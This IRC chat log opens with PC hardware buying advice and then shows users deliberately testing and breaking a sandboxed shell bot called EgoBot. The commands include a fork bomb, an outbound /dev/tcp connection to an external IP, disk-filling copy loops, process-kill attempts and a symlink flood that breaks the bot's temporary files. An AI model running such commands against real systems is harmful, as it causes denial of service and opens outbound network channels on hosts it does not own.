22:18:47 <Deewiant> Seems to be in the same category
22:18:56 <Deewiant> Also worse than that 2003 card :-P
22:19:05 <ehird> bsmntbombdood: do you care that the gfx card is worse than a card Deewiant was going to purchase in 2003
22:19:20 <Deewiant> Oh, scratch that, I was thinking of a 9700 Pro
22:19:28 <Deewiant> Which is a couple of times better than the 9700 that thing is worse than
22:19:32 <ehird> bsmntbombdood: good, the reviews say it's good performance for the cost anyway so let's just go with that
22:20:07 <ehird> bsmntbombdood: http://pastie.org/467034.txt?key=2sd0gfqxxsrbgd9euvs1eq
22:21:03 <ehird> Deewiant: newegg reviews say it's good and people were complaining about WD and saying this one was much better in them
22:21:15 <ehird> doesn't look like it should cause any troubles
22:21:16 <Deewiant> Everybody has a hard disk vendor they hate
22:21:35 <ehird> bsmntbombdood: you might need a proprietary nvidia driver for that card
22:22:07 <ehird> bsmntbombdood: what truth value does blah have
22:22:20 <ehird> bsmntbombdood: oh hm
22:22:21 <Deewiant> What's the status of the non-proprietary linux nvidia drivers
22:22:36 <ehird> Deewiant: http://xorg.freedesktop.org/wiki/nv
22:22:40 <ehird> no 3d acceleration
22:22:45 <ehird> bsmntbombdood: what OS?
22:22:54 <ehird> god I hate that habit
22:23:02 <ehird> bsmntbombdood: well, it's X drivers
22:23:04 <ehird> bsmntbombdood: do you need 3d
22:23:10 <ehird> ie compiz or gaming, I assume not
22:23:16 <ehird> if not, go for http://xorg.freedesktop.org/wiki/nv, which is open source.
22:24:53 <ehird> bsmntbombdood: so, anything I need to change? :p
22:26:06 <ehird> bsmntbombdood: I imagine, as a non-gamer programmer, the cpu/ram/hd are your main bottlenecks... well, the i7's gonna be enough for everything, 12gb is ridiculous and the 7200rpm hd... I think the most you can get for 1tb is 7500rpm, so i don't see an issue there
22:26:22 <ehird> so unless i've made a stupid mistake i think that's about right
22:27:02 <ehird> i think the main upgrade on that would be an SSD but the x25-m is like $300
22:27:14 <ehird> and alignment on those is a bitch (this may be my frustration speaking)
22:27:54 <ehird> bsmntbombdood: on linux you have to do arcane LVM stuff (how redundant) to get it aligned to the write boundary stuff
22:27:58 <ehird> no idea about freebsd.
22:28:41 <ehird> bsmntbombdood: it'll be way faster than a regular hd anyway, iirc, though. at newegg the 80gb x25-m is $324.99
22:28:46 <ehird> http://www.newegg.com/Product/Product.aspx?Item=N82E16820167005
22:28:55 <ehird> your choice, if you're going for $1.5k i'd skip it
22:29:03 <ehird> since the hw in my paste brushes that limit anyway
22:29:20 <ehird> you had $2000 as an upper bound, if you're willing to go near there i'd probably go for the x25
22:29:42 <ehird> since the performance benefit is really high from what i've read
22:30:48 <ehird> i watched a video where two identically specced machines apart from one having an X25-M in booted up windows and opened some bloated applications; the SSD one was over 2x quicker to finish
22:31:03 <ehird> but for the price, yeah, not worth it if that's a concern
22:33:13 <bsmntbombdood> so a raid1 of those drives will get like 200mb/s sustained read
22:33:29 <ehird> bsmntbombdood: what, of x25ms?
22:33:46 <ehird> and, well, depends, i mean, dunno about software raid
22:33:49 <ehird> Deewiant: do you know?
22:34:10 <ehird> bsmntbombdood: are you sure raid-1 is the best backup method for you?
22:34:31 <ehird> but raid 1 is backup to a degree
22:34:42 <ehird> the whole point is guarding against one disk failing
22:34:48 <Deewiant> It's protection against one-disk failure
22:35:04 <ehird> But if you back up you don't really need that
22:35:08 <Deewiant> Backup is protection against accidental rm $HOME and such
22:35:28 <Deewiant> You can backup as well as keep a raid
22:35:56 <ehird> But if I was backing up I'd skip raid 1
22:36:20 <ehird> bsmntbombdood: go for hardware raid then
22:36:23 <ehird> enjoy our $700 :-P
22:37:54 <ehird> Deewiant: http://www.newegg.com/Product/Product.aspx?Item=N82E16816116030 this is pretty cheap for a raid isn't it?
22:38:07 <ehird> bsmntbombdood: that one has drivers included in freebsd sez a review
22:38:26 <Deewiant> If not, there's the fact that it's 2-port and SATA-only
22:38:32 <ehird> Deewiant: i'd assume the reviews would reflect that if so at least to a degree
22:38:45 <ehird> Deewiant: beats software raid, no?
22:39:03 <Deewiant> Hardware is not better than software by default
22:39:39 <ehird> http://www.newegg.com/Product/Product.aspx?Item=N82E16816131001 lots of freebsd people reviewing this stuff
22:39:47 <pikhq> ehird, software RAID isn't that bad. Bit better than cheaper RAID cards, since those tend to be poorly implemented software RAID with a disk controller attached.
22:41:08 <AnMaster> Deewiant, ehird http://www.futurelooks.com/nzxt-tempest-midtower-atx-case-review/
22:41:15 <pikhq> Actually, unless the RAID involves parity, the difference between hardware and software RAID is almost moot...
22:41:52 <AnMaster> bsmntbombdood, that wasn't the main thing about it...
22:44:19 <pikhq> Also, Linux software RAID is rather ridiculously flexible.
22:44:59 <AnMaster> pikhq, that is a hallmark (right word?) of Linux IME
22:50:04 <bsmntbombdood> ehird: now, how much farther would the other $500 get me
22:54:46 -!- comex has joined.
22:54:56 <comex> http://prgmr.com/xen/
22:55:15 <pikhq> Yes, 'tis awesome.
22:56:09 * GregorR wonders why comex came here just to say that :P
22:56:15 <GregorR> !c printf("I'm on prgrm lawl")
22:56:21 <GregorR> !c printf("I'm on prgmr lawl")
22:57:20 <EgoBot> /bin/rm: cannot remove root directory `/'
22:57:23 <EgoBot> /bin/rm: cannot remove `/bin': Function not implemented
22:57:46 <comex> !sh find / | xargs echo
22:58:02 <GregorR> bsmntbombdood: Oh? Whyzzat?
22:58:44 <kerlo> Hey, that's almost cheap.
22:59:26 <GregorR> bsmntbombdood: Their blog and log suggests they've been in business since 2006.
22:59:34 <kerlo> How much does long-term file storage cost?
22:59:56 <kerlo> And by "long-term", I mean "write to it once a week".
23:00:18 <kerlo> Write to it once a week, read from it every few months or something.
23:02:17 <kerlo> Presumably, overwriting means you pay again.
23:02:49 <comex> actually, just for kicks
23:03:05 <EgoBot> /tmp/input.10021: line 1: strace: command not found
23:03:21 <kerlo> It seems that pwd doesn't do anything.
23:03:30 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
23:03:31 <EgoBot> L2hvbWUvZWdvYm90L2Vnb2JvdC5oZy9tdWx0aWJvdF9jbWRzCg==
23:03:41 <kerlo> Hey, look at that.
23:03:47 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
23:03:56 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
23:04:00 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
23:04:06 <comex> !sh bash -c ':(){ :|:& };:'
23:04:06 <EgoBot> /bin/bash: fork: Resource temporarily unavailable
23:04:13 <EgoBot> /bin/ls: interps: Function not implemented
23:04:57 <kerlo> Oh, I'm receiving a transmission.
23:05:20 <kerlo> !sh echo 'echo foo' > foo; chmod +x foo; foo
23:05:20 <EgoBot> /tmp/input.14550: line 1: foo: Permission denied
23:05:28 -!- nooga has quit (Read error: 54 (Connection reset by peer)).
23:05:59 <EgoBot> /bin/ls: .: Function not implemented
23:06:14 <kerlo> drwxrwxrwx 0 0 0 0 Jan 1 1970 .
23:06:38 -!- calamous has joined.
23:06:38 <comex> !sh bash -c 'echo hi > /dev/tcp/69.124.60.187/9999'
23:06:39 <EgoBot> /bin/bash: /dev/tcp/69.124.60.187/9999: No such file or directory
23:07:10 <comex> !sh perl -e 'print 1;'
23:07:22 <EgoBot> /bin/ls: ..: Function not implemented
23:07:27 <comex> !sh ls -ld `pwd`/..
23:07:27 <EgoBot> /bin/ls: /home/egobot/egobot.hg/multibot_cmds/..: Function not implemented
23:07:34 <comex> !sh ls -ld /home/egobot/egobot.hg
23:07:34 <EgoBot> /bin/ls: /home/egobot/egobot.hg: Function not implemented
23:07:42 <comex> !sh ls -ld /home/egobot/*
23:07:43 <EgoBot> /bin/ls: /home/egobot/egobot.hg: Function not implemented
23:07:44 <EgoBot> /bin/ls: /home/: Function not implemented
23:07:50 <comex> !sh echo /home/egobot/*
23:07:50 <EgoBot> /home/egobot/egobot.hg
23:07:54 <comex> !sh echo /home/egobot/egobot.hg/*
23:07:54 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
23:07:58 <comex> !sh echo /home/egobot/*
23:07:58 <EgoBot> /home/egobot/egobot.hg
23:08:12 <comex> !sh strings /bin/ls | xargs echo
23:08:14 <kerlo> That looks like a really, really short executable.
23:08:15 <pikhq> !sh /bin/ls /home/
23:08:34 <EgoBot> 277 2151 110248 /bin/ls
23:08:51 <EgoBot> /tmp/input.14997: line 1: unamer: command not found
23:08:52 <EgoBot> Linux codu.org 2.6.26-1-xen-amd64 #1 SMP Sat Jan 10 20:39:26 UTC 2009 x86_64 GNU/Linux
23:09:16 <comex> !sh hd /tmp/compiled.*
23:09:16 <EgoBot> 00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
23:09:24 <comex> !sh /tmp/compiled.*
23:10:17 -!- tombom has quit ("Peace and Protection 4.22.2").
23:10:19 <kerlo> I've had plans to write an imitation bash-bot for a while.
23:10:31 <calamous> Its the real deal. it runs in a sandbox
23:10:53 <comex> !sh kill $(pgrep -u `id -u`)
23:10:57 <pikhq> !sh echo "bar" > foo
23:10:57 <EgoBot> /tmp/input.15253: line 1: foo: Permission denied
23:11:10 <pikhq> !sh echo "bar" > /tmp/foo
23:11:13 <comex> !sh /bin/kill $(pgrep -u `id -u`)
23:11:31 <pikhq> !sh echo "\n" >> /tmp/foo
23:11:43 <comex> !sh dd if=/dev/zero of=/tmp/foox
23:11:44 <EgoBot> /bin/dd: opening `/dev/zero': No such file or directory
23:12:07 <comex> !sh perl -e 'print 1 while 1;' > /tmp/foox
23:12:12 <kerlo> For five bucks a month, I could buy a teeny tiny server and give people root access to it.
23:12:21 <comex> kerlo: and then we could set up some stuff on it
23:12:24 <comex> it would almost be like a nomic
23:12:50 <kerlo> Except anyone would be able to do anything.
23:12:57 <comex> which reminds me, why don't I have #esoteric and #rootnomic as default joins
23:13:27 <comex> !sh stat /tmp/foox
23:13:35 <EgoBot> 0 1 10485760 /tmp/foox
23:13:43 <pikhq> kerlo: With the possibility of doing kernel patches while running. ;)
23:13:50 <comex> !sh cp /tmp/foox /tmp/fooy
23:14:03 <kerlo> I could dissolve Normish and get six teeny tiny servers for about the same price.
23:14:08 <EgoBot> 0 1 10485760 /tmp/fooy
23:14:28 <kerlo> More combined disk space, more combined RAM, no backups.
23:14:55 <comex> !sh i=0; while true; do cp /tmp/foox /tmp/foo$i; let i=i+11; done
23:15:23 <comex> !sh ls /tmp/foo* | xargs echo
23:15:23 <EgoBot> /tmp/foo /tmp/foo0 /tmp/foo11 /tmp/foo110 /tmp/foo121 /tmp/foo132 /tmp/foo143 /tmp/foo154 /tmp/foo165 /tmp/foo176 /tmp/foo187 /tmp/foo198 /tmp/foo209 /tmp/foo22 /tmp/foo220 /tmp/foo231 /tmp/foo242 /tmp/foo253 /tmp/foo264 /tmp/foo275 /tmp/foo286 /tmp/foo297 /tmp/foo308 /tmp/foo319 /tmp/foo33 /tmp/foo330 /tmp/foo341 /tmp/foo352 /tmp/foo363 /tmp/foo374 /tmp/foo385 /tmp/foo396 /tmp/foo407 /tmp/foo418 /tmp/foo429 /tmp/foo44 /tmp/foo440 /tmp/foo451 /tmp/foo
23:15:33 <comex> !sh ls /tmp/foo* | wc
23:15:41 <bsmntbombdood> when i get a new computer i'll probably do something with this one
23:15:52 <comex> !sh du -shc /tmp/* | tail -n 1
23:15:55 <EgoBot> /usr/bin/du: cannot read directory `/tmp/hsperfdata_egobot': Function not implemented
23:16:02 <comex> !sh du -shc /tmp/foo* | tail -n 1
23:16:10 <AnMaster> !sh file /tmp/foo* | xargs echo
23:16:14 <comex> !sh du -shc /tmp/foo* | tail -n 1
23:16:30 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh test trigger udage01 underload unlambda whirl
23:16:33 <kerlo> Let's see, with my credit, I could get...
23:16:58 <kerlo> 2,400 mini-servers.
23:17:00 <comex> !sh du -shc /tmp/foo* | tail -n `
23:17:01 <EgoBot> /tmp/input.16204: line 1: unexpected EOF while looking for matching ``'
23:17:02 <comex> !sh du -shc /tmp/foo* | tail -n 1
23:17:09 <AnMaster> !sh file /tmp/foo* | xargs echo
23:17:34 <EgoBot> /bin/df: cannot read table of mounted file systems: No such file or directory
23:17:37 <AnMaster> !sh file /tmp/foo* | xargs echo
23:17:48 <comex> !sh du -shc /tmp/foo* | tail -n 1
23:18:13 <comex> !sh du -shc /tmp/foo* | tail -n 1
23:18:15 <kerlo> A month later, the payment would run out, and then I'd have to make minimum payments on $12,000.
23:18:24 <comex> !sh du -shc /tmp/foo* | tail -n 1
23:19:00 <AnMaster> !sh ls -l /tmp/foo0 | xargs echo
23:19:08 <EgoBot> /bin/ls: /tmp/foo0: Function not implemented
23:19:09 <comex> !sh which nc netcat
23:19:30 <comex> !sh killall bash; rm /dev/foo*
23:19:35 <EgoBot> bash(8994): Operation not permitted
23:20:05 <AnMaster> comex, anyway it runs in a jail as a non-privileged user
23:20:18 <comex> !sh nc --help 2>&1 | md5sum
23:20:19 <EgoBot> 1dc0f3f78fd02036a71a61f3e37975ab -
23:20:24 <kerlo> I think I'll continue pondering my cute little Freenet-like thing.
23:20:24 <comex> !sh nc --help 2>&1
23:20:24 <EgoBot> /bin/nc: invalid option -- -
23:20:55 <comex> oh, I thought it was GregorR's bot
23:20:56 <kerlo> !sh ping 127.0.0.1
23:20:56 <EgoBot> plash: warning: setuid/gid bit not honoured on `/bin/ping'
23:21:25 <comex> heh, that's interesting
23:21:27 <EgoBot> /usr/bin/whoami: cannot find name for user ID 1266358
23:21:30 <EgoBot> /usr/bin/whoami: cannot find name for user ID 1924550
23:21:34 <AnMaster> comex, since it was me who told him about -m owner
23:21:40 <AnMaster> [!] --uid-owner userid[-userid] Match local UID
23:21:40 <AnMaster> [!] --gid-owner groupid[-groupid] Match local GID
23:21:40 <AnMaster> [!] --socket-exists Match if socket exists
23:22:47 <comex> !perl print `whoami`;
23:22:48 <EgoBot> /usr/bin/whoami: cannot find name for user ID 1256859
23:22:50 <comex> !perl print `whoami`;
23:22:51 <EgoBot> /usr/bin/whoami: cannot find name for user ID 1079595
23:22:53 * pikhq wonders if someone could get UML in a single C file, so as to make EgoBot run a sub-Linux. :p
23:23:27 <AnMaster> is leaking some kind of watery fluid.
23:23:31 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
23:23:35 <EgoBot> /tmp/input.24540: line 1: iptables: command not found
23:23:40 <EgoBot> Usage: /usr/bin/whoami [OPTION]...
23:24:09 <EgoBot> Can't call method "echo" without a package or object reference at /tmp/input.25845 line 1.
23:24:13 <AnMaster> it is using phash or pash or something
23:24:14 <EgoBot> Usage: /usr/bin/id [OPTION]... [USERNAME]
23:24:29 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
23:24:54 <comex> !sh for i in {1..99999}; do ln -s /home/egobot/egobot.hg/foo /tmp/input.$i; done
23:25:02 <kerlo> I guess your mouse wheel contains the fluid that it is leaking, and it is leaking because the containment is no longer intact.
23:25:07 -!- olsner has quit ("Leaving").
23:25:12 <comex> !sh ls /tmp/input.* | wc -l
23:25:17 <comex> !sh ls /tmp/input.* | wc -l
23:25:32 <comex> !sh ls /tmp/input.* | wc -l
23:25:55 <ehird> !sh while true; do ls /tmp/input.* | wc -l; done
23:26:14 <comex> !sh kill `pgrep -f 'while true'`
23:26:14 <EgoBot> /tmp/input.31467: line 1: kill: (31026) - Operation not permitted
23:26:16 <kerlo> What's ehird doing now?
23:26:30 <ehird> the same thing comex did but more efficient
23:26:38 <comex> too bad only you get updates
23:26:54 <comex> !sh ls /tmp/input.* | wc -l
23:26:57 <ehird> comex: complain to GregorR
23:27:53 <AnMaster> <AnMaster> the scrollwheel on this mouse <AnMaster> is leaking some kind of watery fluid.
23:28:12 <ehird> AnMaster: take apart mouse, inspect
23:28:15 <kerlo> AnMaster: turn the mouse upside down and leave it there.
23:28:25 <AnMaster> kerlo, it only leaks under preasure
23:28:28 <EgoBot> Can't open perl script "/tmp/input.2033": No such file or directory
23:28:31 <kerlo> Then don't apply pressure.
23:28:37 <AnMaster> I think I got a flat scroll wheel
23:28:40 <comex> ^ what kind of error is that
23:28:43 <EgoBot> Can't open perl script "/tmp/input.2655": No such file or directory
23:28:54 <EgoBot> Can't open perl script "/tmp/input.3137": No such file or directory
23:29:01 <AnMaster> but this is first time I heard of flat scroll wheel
23:29:05 <EgoBot> Can't open perl script "/tmp/input.3640": No such file or directory
23:29:30 <comex> so, I guess the sandbox user is writing to /tmp/input.*; it's failing in this case
23:29:41 <comex> !sh ls /tmp/input.* | wc-l
23:29:41 <EgoBot> /bin/bash: /tmp/input.5161: No such file or directory
23:29:43 <comex> !sh ls /tmp/input.* | wc -l
23:29:43 <EgoBot> /bin/bash: /tmp/input.5263: No such file or directory
23:29:53 <comex> I broke the world :p
23:30:15 <EgoBot> /bin/bash: /tmp/input.6564: No such file or directory
23:30:19 <EgoBot> /bin/bash: /tmp/input.6765: No such file or directory
23:30:55 <AnMaster> comex, GregorR isn't around to fix it
23:30:57 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh test trigger udage01 underload unlambda whirl
23:31:02 <EgoBot> Running daemons: accumulate
23:31:03 <EgoBot> kill: !kill <name>. Kill a running daemon.
23:31:18 <EgoBot> /bin/cat: /tmp/input.9150: No such file or directory
23:31:32 <EgoBot> FATAL: Failed to process file "/tmp/input.9269": No such file or directory
23:31:46 <AnMaster> you managed to make it impossible to write files in /tmp
23:31:58 <AnMaster> comex, care to tell me what the heck you did exactly
23:32:03 <fizzie> No, he filled it with broken symlinks.
23:32:09 <ehird> AnMaster: it was me
23:32:15 <fizzie> <comex> !sh for i in {1..99999}; do ln -s /home/egobot/egobot.hg/foo /tmp/input.$i; done
23:32:28 <ehird> so my checking just automated the checking
23:32:49 <EgoBot> /bin/cat: /tmp/input.9302: No such file or directory
23:32:57 <EgoBot> /bin/cat: /tmp/input.9337: No such file or directory
23:33:13 <kerlo> At this rate, we only need to fail about 60 more times.
23:33:24 <AnMaster> kerlo, check the number of digits
23:33:39 <kerlo> The rate keeps changing.
23:33:39 <EgoBot> /bin/cat: /tmp/input.9370: No such file or directory
23:33:43 <EgoBot> /bin/cat: /tmp/input.9404: No such file or directory
23:33:46 <EgoBot> /bin/cat: /tmp/input.9438: No such file or directory
23:33:47 <EgoBot> /bin/cat: /tmp/input.9501: No such file or directory
23:33:47 <comex> I think it's based on the time
23:33:51 <EgoBot> /bin/cat: /tmp/input.9553: No such file or directory
23:33:54 <kerlo> Yeah, 1,000 more times.
23:34:02 <fizzie> Personally I think it's the PID, and it wrap-arounds at 32k.
23:34:10 <kerlo> It's not increasing by one every time.
23:34:26 <comex> ehird: you fail it
23:34:28 <fizzie> Based on the fact that it went up to 30491 and then wrapped to 2033.
23:34:32 <ehird> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
23:34:39 <kerlo> Don't get me started.
23:34:43 <comex> http://pastie.org/467093
23:34:46 <AnMaster> ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
23:34:46 <comex> could've been a <3 thunder
23:34:53 <kerlo> ^; ^^; ^ ^; ^^^^; ^ ^; ^^ ^^; ^ ^ ^ ^; ^^^^^^^^
23:35:00 <ehird> comex: fuck <3 thunders
23:35:26 <EgoBot> /bin/bash: /tmp/input.9727: No such file or directory
23:35:28 <ehird> AnMaster: http://wiki.xkcd.com/irc/Heart_Thunder
23:36:15 <ehird> #xkcd on foonetic.
23:44:29 <ehird> Deewiant: bsmntbombdood wants to know how to use two monitors
23:44:38 <ehird> (card = http://www.newegg.com/Product/Product.aspx?Item=N82E16814187037)
23:47:52 -!- FireFly has quit ("Later").
23:55:05 <EgoBot> /bin/bash: /tmp/input.9996: No such file or directory
23:57:51 <calamous> <-- GregorR at a friend's place
23:58:51 <pikhq> So, Gregor voyages forth?
23:58:56 <pikhq> ehird: Been in #xkcd?
23:59:22 <ehird> pikhq: Never. I know that someone I would rather not encounter went there in 2006 at least and may still do.
23:59:45 <ehird> !sh for i in ... nah, I'm too kind
23:59:45 <EgoBot> /tmp/input.10153: line 1: unexpected EOF while looking for matching `''